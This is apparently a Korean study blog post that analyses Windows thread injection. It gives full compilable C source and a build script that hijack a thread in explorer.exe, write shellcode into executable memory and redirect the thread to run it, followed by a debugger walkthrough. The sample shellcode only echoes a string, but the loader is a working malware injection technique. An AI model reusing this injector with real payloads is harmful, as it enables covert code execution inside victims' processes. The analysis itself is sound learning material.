0. 목차
Contents
1. Thread Injection이란
- Thread Injection / Code Injection / Thread Hijacking
- 타겟 프로세스의 쓰레드를 SUSPENDED상태로 변경
- SUSPENDED상태의 쓰레드에 악성코드를 Injection
- 다시 쓰레드의 실행을 재개시키면서 악성코드 실행
LoadLibrary()
,CreateRemoteThread()
를 사용하지 않음
주요 흐름)
Find Target
→ OpenProcess
→ OpenThread
→ SuspendThread
→ VirtualAlloc
→ SetContextThread
→ ResumeThread
2. Thread Injection 유형 분석
2.1 분석 환경
- OS : Windows 7(x86)
- Debugging Tool : IDA Pro, x32dbg, Windbg
- etc Tool : VMMap, ProcessExplorer, PE View
2.2 예제 소스 코드 및 컴파일
[ thread.cpp ]
#include <windows.h>
#include <TlHelp32.h>
EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
EXTERN_C NTSTATUS NTAPI NtSetContextThread(HANDLE, PCONTEXT);
EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemory(HANDLE, PVOID, PVOID, ULONG, PULONG);
int _strcmp(char *s1, char *s2)
{
while (*s1 && (*s1 == *s2))
s1++, s2++;
return (int)*(unsigned char *)s1 - *(unsigned char *)s2;
}
DWORD findPidByName(char *pname)
{
HANDLE h;
PROCESSENTRY32 procSnapshot;
h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
procSnapshot.dwSize = sizeof(PROCESSENTRY32);
do
{
if (!_strcmp(procSnapshot.szExeFile, pname))
{
DWORD pid = procSnapshot.th32ProcessID;
CloseHandle(h);
return pid;
}
} while (Process32Next(h, &procSnapshot));
CloseHandle(h);
return 0;
}
unsigned char code[74] = {
0x60, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x81, 0xEB, 0x06, 0x00, 0x00, 0x00, 0xB8, 0x41, 0x41,
0x41, 0x41, 0x8D, 0x93, 0x24, 0x00, 0x00, 0x00, 0x6A, 0x01, 0x52, 0xFF, 0xD0, 0x61, 0x68, 0x42,
0x42, 0x42, 0x42, 0xC3, 0x63, 0x6D, 0x64, 0x20, 0x2F, 0x6B, 0x20, 0x65, 0x63, 0x68, 0x6F, 0x20,
0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E,
0x20, 0x46, 0x69, 0x6E, 0x69, 0x73, 0x68, 0x65, 0x64, 0x21};
int main()
{
DWORD dwProcessId;
HANDLE hProcess, hSnap, hThread;
THREADENTRY32 te32;
PVOID mem, image;
LPBYTE ptr;
CONTEXT ctx;
te32.dwSize = sizeof(te32);
ctx.ContextFlags = CONTEXT_FULL;
image = code;
dwProcessId = findPidByName("explorer.exe");
hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE, dwProcessId);
if (hProcess == NULL)
{
return (1);
}
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First(hSnap, &te32);
while (Thread32Next(hSnap, &te32))
{
if (te32.th32OwnerProcessID == dwProcessId)
{
break;
}
}
CloseHandle(hSnap);
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (!hThread)
{
CloseHandle(hProcess);
return -1;
}
SuspendThread(hThread);
GetThreadContext(hThread, &ctx);
ptr = (LPBYTE)image;
*(PDWORD)(ptr + 14) = (DWORD)WinExec;
*(PDWORD)(ptr + 31) = ctx.Eip;
mem = VirtualAllocEx(hProcess, NULL, 4096,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, mem, image, sizeof(code), NULL);
ctx.Eip = (SIZE_T)((LPBYTE)mem);
NtSetContextThread(hThread, &ctx);
ResumeThread(hThread);
return 0;
}
[ build.bat ]
@ECHO OFF
WHERE cl
IF %ERRORLEVEL% NEQ 0 (
call "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Common7\Tools\VsDevCmd.bat"
)
cl /c /GS- thread.cpp
link /ENTRY:main /BASE:0x400000 /FIXED /subsystem:windows thread.obj ntdll.lib user32.lib kernel32.lib Advapi32.lib
del *.obj
3. 분석
3.1 정적 분석
start()
- 처음에 Buffer에 unk_403000주소 값을 넣는다.
- 딱 봐도 쉘코드 같은 것이 저장되어 있다.
1) ProcessHandle = (HANDLE)OpenProcess(0x42A, 0, pid);
액세스 권한 옵션
:PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE
→ findPidByName()을 통해 구한 "explorer.exe"의 pid값으로 해당 프로세스 handle값을 얻어옴
2) snap = CreateToolhelp32Snapshot(4, 0);
dwFlags
:TH32CS_SNAPTHREAD(0x4)
- 시스템의 모든 스레드를 스냅 샷에 포함
th32ProcessID
: 널 값인 경우 모든 프로세스가 스냅샷에 포함
→ 시스템에서 실행 중인 모드 스레드가 스냅 샷에 포함
3) Thread32First(snap, &v2);
→ 시스템 스냅 샷에서 발견된 모든 프로세스의 첫 번째 스레드에 대한 정보를 검색하는 함수
+) 쓰레드의 리스트를 구했을 때 그 리스트를 정렬, 열거하기 위해서 사용하는 함수
hSnapshot
:CreateToolhelp32Snapshot()
을 통해 반환된 스냅 샷에 대한 핸들
lpte
:THREADENTRY32
구조체에 대한 포인터
3-1) Thread32First(snap, &v2);
→ 첫 번째 스레드에 대한 정보가 lpte(v2)로 전달된다.
4) Thread32next()
→ Thread32First 호출 이후 스냅 샷 정보에서 다음 스레드의 정보를 읽어오는 함수
hSnapshot
:CreateToolhelp32Snapshot()
을 통해 반환된 스냅 샷에 대한 핸들
lpte
:THREADENTRY32
구조체에 대한 포인터
4-1) while ( Thread32Next(snap, &v2) && v4 != pid )
→ v4의 값과 pid값이 같으면 while루프가 종료되며 그 전까지는 계속 Thread32Next()가 호출되면서 스레드를 탐색한다.
→ 즉, "explorer.exe"의 tid를 찾는 과정
5) OpenThread()
→ tid값을 전달받아 핸들을 구하는 함수
dwDesiredAccess
: 스레드 개체에 대한 액세스 권한THREAD_ALL_ACCESS
: 스레드 개체에 대한 가능한 모든 액세스 권한
bInheritHandle
: TRUE이면 이 프로세스에 의해 생성된 프로세스는 핸들을 상속받고 FALSE면 상속하지 않는다.
dwThreadId
: open할 스레드의 식별자(tid)
5-1) ThreadHandle = (HANDLE)OpenThread(0x1FFFFF, 0, v3);
→ v3로 전달받은 tid값을 통해 Thread를 Open하여 핸들 값을 저장
6) SuspendThread()
→ 지정된 스레드를 일시 중단하는 함수
hThread
: 일시 중단될 스레드에 대한 핸들
6-1) SuspendThread(ThreadHandle);
→ 위에서 구한 ThreadHandle값을 통해 지정된 스레드를 일시 중단
→ "explorer.exe"의 스레드를 일시 중단
7) GetThreadContext()
→ 지정된 스레드의 컨텍스트를 검색하는 함수
hThread
: 컨텍스트를 검색할 스레드에 대한 핸들
lpContext
: 지정된 스레드의 컨택스트를 받는 CONTEXT구조체 변수
7-1) GetThreadContext(ThreadHandle, &Context);
→ "explorer.exe"의 스레드 컨텍스트를 Context구조체 변수에 저장
이후에 다음 코드를 실행하게 되는데
- Buffer에는 아까 쉘 코드로 짐작되는 헥사 값이 저장되어 있고 Buffer의 어느 부분에 WinExec()의 주소 값과 Context.Eip값을 넣는 듯하다.
8) BaseAddress = (PVOID)VirtualAllocEx(ProcessHandle, 0, 0x1000, 0x3000, 0x40);
메모리 할당 유형
:MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)
메모리 보호 설정
:PAGE_EXECUTE_READWRITE(0x40)
→ "explorer.exe"의 프로세스에 0x1000만큼 메모리 공간할당하고 주소 값 반환
9) NtWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer, 0x4Au, 0);
→ "explorer.exe"의 BaseAddress에 Buffer에 저장된 값을 0x4a만큼 쓴다.
→ 이후에 Context.Eip를 BaseAddress로 설정한다.
10) NtSetContextThread(ThreadHandle, &Context);
→ Context가 설정되어 Context구조체의 Eip부분부터 지정된 Thread실행
11) ResumeThread(ThreadHandle);
→ 아까 SUSPEND걸어놨던 "explorer.exe"의 스레드를 실행 재개시킨다.
+) THREADENTRY32 구조체
dwSize
: 구조체의 크기
cntUsage
: 사용하지 않음, 0으로 설정
th32ThreadID
: 스레드 식별자
th32OwnerProcessID
: 스레드를 소유한 프로세스 식별자
tpBasePri
: 스레드에 할당된 커널 기반 우선 순위 레벨
tpDeltaPri
: 사용하지 않음, 0으로 설정
dwFlags
: 사용하지 않음, 0으로 설정
3.2 동적 분석
0) unk_403000
- [ebp-0x18]에 0x403000주소 값을 저장한다.
- 쉘 코드 확인 → 정확히 무엇을 수행하는지는 이따가 확인
1) OpenProcess() 호출 後
- "thread.exe"에서 "explorer.exe"프로세스를 Open하고 handler값을 얻어옴
- "explorer.exe" pid : 0xA5C(2,652)
- "explorer.exe" handler : 0x10(16)
2) CreateToolhelp32Snapshot() 호출 後
- 시스템의 모든 스레드를 포함한 스냅 샷에 대한 핸들러 값 반환(0x14)
3) Thread32First() 호출 後
- 첫 번째 스레드에 대한 정보 반환, [ebp-0x38] = 0x1c
4) Thread32next() 호출 後
- [ebp-0x2c]와 [ebp-0x10]값 비교 → while루프를 돌면서 0xa5c(explorer.exe의 pid)값과 같은 스레드 찾기
- 0xa5c와 같은 값을 찾으면서 while루프 종료
5) OpenThread() 호출 前, 後
① 호출 前
- tid값인 0xA60(2,656)과 OpenThread에 필요한 인자 세팅
② 호출 後
- 반환 값으로 thread handle값인 0x14를 [ebp-0x4]에 저장
6) SuspendThread() 호출 後
- "explorere.exe"(tid : 0xA60)스레드가 SUSPENDED상태로 변함
7) GetThreadContext() 호출 後
- "explorer.exe"스레드 컨텍스트 정보를 얻어와 Context구조체 변수에 저장
7-1) (_DWORD *)((char *)Buffer + 0xE) = WinExec;
- shellcode가 저장된 위치로부터 0xe만큼 떨어진 곳에 WinExec()의 주소 값을 넣는 과정, 원래는 0x41414141값이 존재함
- 성공적으로 buffer+0xe위치에 WinExec()의 주소 값이 들어감
7-2) (_DWORD *)(v7 + 0x1F) = Context.Eip;
- buffer + 0x1f에 Context.Eip(여기서 Context는 "explorer.exe"의 스레드 컨텍스트 정보를 담은 구조체 변수)값을 넣는다. 기존에 0x42424242값이 들어가 있음
- 성공적으로 buffer + 0x1f위치에 Context.Eip값이 들어감
8) VirtualAllocEx() 호출 前, 後
① 호출 前
- VirtualAllocEx()의 인자 값 세팅, 여기서 핸들러 값 0x10은 "explorer.exe"의 핸들러 값
② 호출 後
- 할당된 메모리 영역의 주소 값으로 반환 → 0x1DD0000
- 확인 결과 "explorer.exe"의 0x1DD0000의 메모리 영역이 할당됨
- 액세스 권한은 rwx
9) NtWriteVirtualMemory() 호출 前, 後
① 호출 前
- 인자 값 세팅
② 호출 後
- "explorer.exe"에 할당받은 메모리 영역(0x1DD0000)에 Buffer에 있는 값(쉘 코드)을 쓰고 Context.Eip에 BaseAddress값을 넣는 과정을 진행한다.
- 기존에 Context.Eip에는 0x77296c04가 들어있다.
- 최종적으로 Context.Eip는 쉘 코드 값이 저장된 0x1DD0000주소 값이 저장된다.
+) Windbg에서 CONTEXT구조체 편하게 보는 방법
10) NtSetContextThread() 호출 後
- Context구조체 변수에 있는 값으로 설정되고 이후에 Context구조체의 Eip부분(0x1DD0000)부터 지정된 Thread 즉, "explorer.exe"(tid : 0xA60)을 실행할 수 있게 된다. (아직 SUSPENDED상태)
11) ResumeThread() 호출 後
- SUSPENDED가 풀리면서 shellcode가 실행된다.
- 쉘 코드는 단순하게 cmd창에서 문자열을 echo하는 기능을 수행한다.
+) Shellcode
- 기존에 0x41414141값과 0x42424242값 부분에 WinExec()와 ntdll.KiFastSystemCallRet함수로 변경되었다.
windbg에서 target process에 attach하여 디버깅)
- "thread.exe"에서 디버깅하는 windbg에서 ResumeThread()를 호출하자 "explorer.exe" 쓰레드에서 쉘 코드로 이동한다.
- 이후에 eax, edx에 각각 WinExec()주소 값과 "cmd ~~~"문자열을 넣는다.
- 최종적으로 push 1 ; push edx ; call eax를 통해서 파라미터를 세팅하고 WinExec()를 호출한다.
- 실행 이후 아까 봤던 cmd창이 켜지는 것을 확인할 수 있다.
4. 정리
4.1 Process
1) findPidByName()
를 통해 Target Process인 "explorer.exe"의 pid를 구한다.
2) OpenProcess()
를 통해 "explorer.exe"프로세스를 Open한다.
3) 스레드 관련 함수들을 통해 "explorer.exe" 스레드를 구한다.
4) OpenThread()
를 통해 "explorer.exe"스레드를 Open한다.
5) SuspendThread()
를 통해 "explorer.exe"스레드를 SUSPENDED상태로 만든다.
6) VirtualAllocEx()
를 통해 "explorer.exe"프로세스에 메모리 공간을 확보한다.
7) NtWriteVirtualMemory()
를 통해 확보한 공간에 쉘 코드를 쓴다.
8) "explorer.exe"스레드 컨텍스트의 Eip값을 확보한 공간의 주소로 돌린다.
9) NtSetContextThread()
를 통해 컨텍스트 정보를 갱신한다.
10) ResumeThread()
를 통해 "explorer.exe"스레드 실행을 재개시킨다.
11) 갱신된 컨텍스트 정보에는 Eip가 쉘 코드를 가리키기 때문에 쉘 코드가 실행되어 cmd창에 문자열을 echo한다.
4.2 Image
5. 참고자료
5.1 ThreadInjection
Uploaded by Notion2Tistory v1.1.0